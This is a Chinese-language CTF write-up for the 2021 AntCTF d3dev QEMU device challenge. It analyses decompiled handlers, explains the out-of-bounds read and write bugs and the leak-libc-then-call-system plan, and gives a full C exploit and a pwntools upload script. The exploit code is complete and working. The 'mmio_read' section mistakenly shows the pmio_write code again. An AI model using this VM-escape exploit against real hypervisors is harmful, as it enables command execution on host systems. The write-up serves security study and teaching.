qemu初探

qemu 是纯软件实现的虚拟化模拟器,几乎可以模拟任何硬件设备。目前qemu出问题比较多的地方以及比赛中出题目的形式都在在设备模拟中。

所以其实这种题型一般就是关注它描述设备自定义的那个设备结构体还有与这个设备通信的相关函数。

0x01 qemu基础

主要参考这篇博客吧qemu-pwn-基础知识 « 平凡路上 (ray-cp.github.io)通过memory space访问设备I/O的方式称为memory mapped I/O,即MMIO,这种情况下,CPU直接使用普通访存指令即可访问设备I/O。

通过I/O space访问设备I/O的方式称为port I/O,或者port mapped I/O,这种情况下CPU需要使用专门的I/O指令如IN/OUT访问I/O端口。

1.1 查看pci设备

1
2
3
4
5
6
7
8
ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

xx:yy:z的格式为总线:设备:功能的格式。

0x02 2021 AntCtf d3dev

2.1 设备分析

首先可以通过d3dev_class_init来判断它是哪个设备,与lspci列表下的设备对比,发现对应设备是/sys/devices/pci0000:00/0000:00:03.0

然后一般来讲,设备的数据类型IDA是没有自动加载的,需要我们手动加载一下。在IDA->views->subview->localtype里搜索 d3 可以找到这个设备结构体,用了这个结构体以后代码就好看很多了。

2.2 漏洞分析

pmio_write

首先看pmio_write函数,主要功能就四个

  • addr为8时设置seek
  • addr为28时调用r_rand函数
  • addr为4时将key重置
  • 设置memory_mode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *v4; // rbp

if ( addr == 8 )
{
if ( val <= 0x100 )
opaque->seek = val;
}
else if ( addr > 8 )
{
if ( addr == 28 )
{
opaque->r_seed = val;
v4 = opaque->key;
do
*v4++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(
&opaque->r_seed,
28LL,
val,
*(_QWORD *)&size);
while ( v4 != (uint32_t *)&opaque->rand_r );
}
}
else if ( addr )
{
if ( addr == 4 )
{
*(_QWORD *)opaque->key = 0LL;
*(_QWORD *)&opaque->key[2] = 0LL;
}
}
else
{
opaque->memory_mode = val;
}
}

pmio_read

然后再分析pmio_read函数,这个函数朴实无华,功能也十分简单。

1
2
3
4
5
6
7
8
9
10
uint64_t __fastcall d3dev_pmio_read(void *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax

if ( addr > 0x18 )
result = -1LL;
else
result = ((__int64 (__fastcall *)(void *))((char *)dword_7ADF30 + dword_7ADF30[addr]))(opaque);
return result;
}

进入到dword_7ADF30之后算一下偏移发现是一串gadget,基本上的功能就是读那个设备结构体的一些值,比如seek,key之类的。

mmio_write

这个有一个越界写漏洞,出现在设置v4这个index的时候这个seek是我们自主可控的,因此会造成越界写。还有一点需要注意的就是,它那个do while实际上是一个解密的过程。x是低32位,y是高32位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
__int64 v4; // rsi
ObjectClass_0 **v5; // r11
uint64_t v6; // rdx
int i; // esi
uint32_t key0; // er10
uint32_t key1; // er9
uint32_t key2; // er8
uint32_t key3; // edi
unsigned int x; // ecx
uint64_t y; // rax

if ( size == 4 )
{
v4 = opaque->seek + (unsigned int)(addr >> 3);
if ( opaque->mmio_write_part )
{
v5 = &opaque->pdev.qdev.parent_obj.class + v4;
v6 = val << 32;
i = 0;
opaque->mmio_write_part = 0;
key0 = opaque->key[0];
key1 = opaque->key[1];
key2 = opaque->key[2];
key3 = opaque->key[3];
x = v6 + *((_DWORD *)v5 + 0x2B6);
y = ((unsigned __int64)v5[0x15B] + v6) >> 32;
do
{
i -= 0x61C88647;
x += (i + y) ^ (key1 + ((unsigned int)y >> 5)) ^ (key0 + 16 * y);
LODWORD(y) = ((i + x) ^ (key3 + (x >> 5)) ^ (key2 + 16 * x)) + y;
}
while ( i != 0xC6EF3720 ); // range(20)
v5[0x15B] = (ObjectClass_0 *)__PAIR64__(y, x);
}
else
{
opaque->mmio_write_part = 1;
opaque->blocks[v4] = (unsigned int)val;
}
}
}

mmio_read

这个地方跟上面的越界写一样,就是个越界读。然后还会把读出的数据进行一个加密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *v4; // rbp

if ( addr == 8 )
{
if ( val <= 0x100 )
opaque->seek = val;
}
else if ( addr > 8 )
{
if ( addr == 28 )
{
opaque->r_seed = val;
v4 = opaque->key;
do
*v4++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(
&opaque->r_seed,
28LL,
val,
*(_QWORD *)&size);
while ( v4 != (uint32_t *)&opaque->rand_r );
}
}
else if ( addr )
{
if ( addr == 4 )
{
*(_QWORD *)opaque->key = 0LL;
*(_QWORD *)&opaque->key[2] = 0LL;
}
}
else
{
opaque->memory_mode = val;
}
}

2.3 利用思路

  1. 利用越界读读出rand_r的地址,算出libc地址
  2. 利用越界写将system地址写入rand_r的位置
  3. 将原来seek的位置以及后面的block写入cat flag命令
  4. 利用pmio_write调用rand_r从而实现命令执行

2.4 本地调试

解压

1
cpio -idmv < rootfs.img

编译写好的exp

1
gcc -O0 -o exp -static d3dev.c

将写好的二进制文件编译后打包入rootfs.img中

1
find . | cpio -o --format=newc > ../rootfs.img

然后直接运行它的laungh.sh就行了

我在20.04的环境下可以直接运行起来,然后ps -ax查看当前有哪些进程,使用gdb attach对应的进程就可以进行相应的调试了

调试时查看结构体可以在d3dev相关函数断点下

1
2
>p *((d3devState *)$rdi)
>

就可以查看了

0x03 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

unsigned char* mmio_mem;
uint32_t pmio_base = 0xc040; //cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
uint32_t keys[4] = {0};
uint64_t libc_base ;
void die(const char* msg)
{
perror(msg);
exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}

void pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}


uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}

uint32_t pmio_arbread(uint32_t offset)
{
pmio_write(pmio_base+0,offset);
return pmio_read(pmio_base+4);
}

void pmio_abwrite(uint32_t offset, uint32_t value)
{
pmio_write(pmio_base+0,offset);
pmio_write(pmio_base+4,value);
}

void reset_keys()
{
uint32_t seed = 0;
for(int i = 0;i<4;++i)
{
keys[i] = rand_r(&seed);
printf("keys[%d] test = %p\n",i, keys[i]);
}
pmio_write(28 + pmio_base,0);
pmio_write(4 + pmio_base,0);
return ;

}

void set_seek_off(uint32_t offset)
{
pmio_write(8 + pmio_base,offset);
}
uint64_t decrypt(uint32_t x, uint64_t y)
{
uint32_t i = 0;
do
{
i -=0x61C88647;
x += (i + y) ^ ( ((unsigned int)y >> 5)) ^ ( y << 4);
y = (uint32_t)(((i + x) ^ ((x >> 5)) ^ ( x << 4)) + y);
} while (i != 0xC6EF3720);

printf("x = %p, y = %p , i = %p\n",x,y,i);
uint64_t ans = (y << 32) + x;
printf("ans = %p\n",ans);
return ans - 0x4AEB0;
}
uint64_t encrypt(uint64_t rr)
{
uint32_t i , x ;
uint64_t y;

i = 0xC6EF3720;
x = rr & 0xffffffff ;
y = rr >> 32 ;
do
{
y = (uint32_t)(y - ((x + i) ^ (x >> 5) ^ ( x << 4 )));
x = x - (((y + i) ^ (y >> 5) ^ ( y << 4 ) )) ;
i = i + 0x61C88647;
} while (i);
printf("x = %p, y = %p , i = %p\n",x,y,i);
return (y << 32) + x;

}
int main(int argc, char *argv[])
{
uint32_t tmp = 0xdeadbeef;
uint32_t tmp1 = 0;
uint32_t tmp2 = 0;

// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);

tmp = mmio_read(24);
printf("tmp test = %p\n", tmp);

// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");

reset_keys();
set_seek_off(0x100);
// get rand_r
uint64_t yy;
uint32_t xx;
yy = mmio_read(24);
printf("tmp1 test = %p\n", yy); // part 1
xx = mmio_read(24);
printf("tmp2 test = %p\n", xx); // part 2 high
libc_base = decrypt(xx,yy);
printf("libc_base = %p\n",libc_base);
uint64_t system = libc_base + 0x0000000000055410;
printf("system = %p\n",system);

mmio_write(24, (uint32_t)(encrypt(system)));
mmio_write(24, (uint32_t)(encrypt(system) >> 32));
// char sed[4] = "cat ";
// char flag[8] = "/home/ct";
// char flag2[8] = "f/flag\x00";
uint32_t flag1 = 0x20746163; //"cat "
uint64_t flag2 = 0x67616c66; // "flag"
// uint64_t flag3 = 0x67616c662f66;
set_seek_off(0);
mmio_write(0, (uint32_t)(encrypt(flag2)));
mmio_write(0, (uint32_t)(encrypt(flag2) >> 32));

// mmio_write(8, (uint32_t)(encrypt(flag3)));
// mmio_write(8, (uint32_t)(encrypt(flag3) >> 32));


pmio_write(28 + pmio_base,flag1);






}

0x04 远程exp

模板来自[这里]([[Pwn 笔记]Linux Kernel 调试文件总结 | binLep’s Blog](https://binlep.github.io/2020/03/12/[Pwn 笔记]Linux Kernel 调试文件总结/))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os

context.log_level = 'debug'
cmd = '/ #'


def exploit(r):
r.sendlineafter(cmd, 'stty -echo')
os.system('gcc -static -O0 ./d3dev.c -o ./exp')
os.system('gzip -c ./exp > ./exp.gz')
r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
r.sendline((read('./exp.gz')).encode('base64'))
r.sendline('EOF')
r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
r.sendlineafter(cmd, 'gunzip ./exp.gz')
r.sendlineafter(cmd, 'chmod +x ./exp')
r.sendlineafter(cmd, './exp')
r.interactive()


# p = process('./startvm.sh', shell=True)
p = remote('106.14.216.214',50273)

exploit(p)
-------------本文结束感谢您的阅读-------------
+ +